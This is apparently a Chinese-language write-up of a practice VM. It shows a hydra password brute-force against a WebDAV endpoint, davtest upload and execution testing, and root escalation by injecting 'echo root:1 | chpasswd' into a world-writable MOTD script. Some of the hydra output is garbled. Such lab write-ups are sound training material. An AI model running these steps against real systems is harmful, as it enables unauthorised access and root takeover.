信息收集

主机发现

端口扫描

22,80

服务识别

隐藏路径爬取

```
/tips.txt (Status: 200) [Size: 58]
/images (Status: 301) [Size: 317] [→ ht
/index.html (Status: 200) [Size: 2998]
/webdav (Status: 401) [Size: 461]
```

web信息收集

```
tips.txt:
    creds.txt
images:
    I clieked on a button that said "do not click"
webdav:
    支持新的http请求,类似一个ftpserver,默认使用put方法上传
```

漏洞发现

威胁建模

- 1.其他http方法 x
- 2.images的隐写术 x
- 3.webdav:密码爆破 <---思路正确,不过订制的字典太小
- 4.webdav:cve

漏洞利用

边界突破

密码字典定制

cewl: 从网页中爬取内容,从里面选出人类能识别的单词来生成字典

用法:

```
cewl http://192.168.88.132 -w dict.txt #-w结果输出到制定的文件
```

爆破密码

hydra进行账号密码爆破

```
hydra -L dict -P dict.txt 192.168.88.132 http-get /webdav -v #http爆破需要用http-get /webdav是路径
```

```
(kali® kali)-[~/narak]

$\frac{\text{shydra - L dict.txt} - P dict.txt}{\text{192.168.88.132} \text{ http-get /webdav - V}{\text{hydra v9.2} (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal binding, these *** ignore laws and ethics anyway).

#\text{dydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-02-02 21:38:13
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overw

[DATA] max 16 tasks per 1 server, overall 16 tasks, 6724 login tries (l:82/p:82), ~421 tries per task
[DATA] attacking http-get://192.168.88.132:80/webdav
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[B80][http-get] host: 192.168.88.132 login: yamdoot password: Swarg

C[ERROR] Received signal 2, going down ...
The session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

webdav漏洞

davtest:测试webdav的上传和执行功能。

```
davtest -url http://192.168.88.132/webdav -auth yamdoot:Swarg #-auth指定账号密码 davtest -url http://192.168.88.132/webdav -auth yamdoot:Swarg -uploadfile $src_filename -uploadloc $dis_filename #uploadfile指定本地要上传的文件 -uploadloc指定 上传到目标后的文件名
```

权限查询:

```
Created: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0

PUT File: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.asp

PUT File: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.pl

PUT File: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.txt

PUT File: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.jsp

PUT File: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.php

PUT File: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.aspx

PUT File: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.html

PUT File: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.shtml

PUT File: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.cgi

PUT File: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.cfm

Executes: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.txt

Executes: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.txt

Executes: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.php

Executes: http://192.168.88.132/webdav/DavTestDir__PDuI_4pNvv0/davtest__PDuI_4pNvv0.html
```

权限提升

文件搜索

属主是root

属主或者组员有可执行权限

其他用户有可写权限

```
find / -type f -user root -perm -ug=x,o=w -exec ls -l \{\}\ \ \ 2>/dev/null
```

```
inferno@ubuntu:/home$ find / -type f -user root -perm -ug=x,o=w -exec ls -l {} \; 2>/dev/null
-rwxrwxrwx 1 root root 124 Sep 22 2020 /mnt/hell.sh
-rwxrwxrwx 1 root root 299 May 18 2017 /etc/update-motd.d/91-release-upgrade
-rwxrwxrwx 1 root root 1220 Apr 9 2018 /etc/update-motd.d/00-header
-rwxrwxrwx 1 root root 4251 Apr 9 2018 /etc/update-motd.d/50-motd-news
-rwxrwxrwx 1 root root 604 Mar 21 2018 /etc/update-motd.d/80-esm
-rwxrwxrwx 1 root root 3017 Mar 21 2018 /etc/update-motd.d/80-livepatch
-rwxrwxrwx 1 root root 3017 Mar 21 2018 /etc/update-motd.d/80-livepatch
-rwxrwxrwx 1 root root 1157 Apr 9 2018 /etc/update-motd.d/10-help-text
```

查看 hell.sh

brainfuck语言解码



发现这是inferno的ssh登录密码

motd注入

motd(message of the day)介绍:用户成功登录时的会执行的脚本(也可以只是显示),一般位于 /etc/update-motd.d/下;

找到其中一个有root权限的文件写入

```
echo 'root:1' | chpasswd #修改密码为1,作为chpasswd的输入
```

再次以普通登录设备,切换为root, 提权成功

总结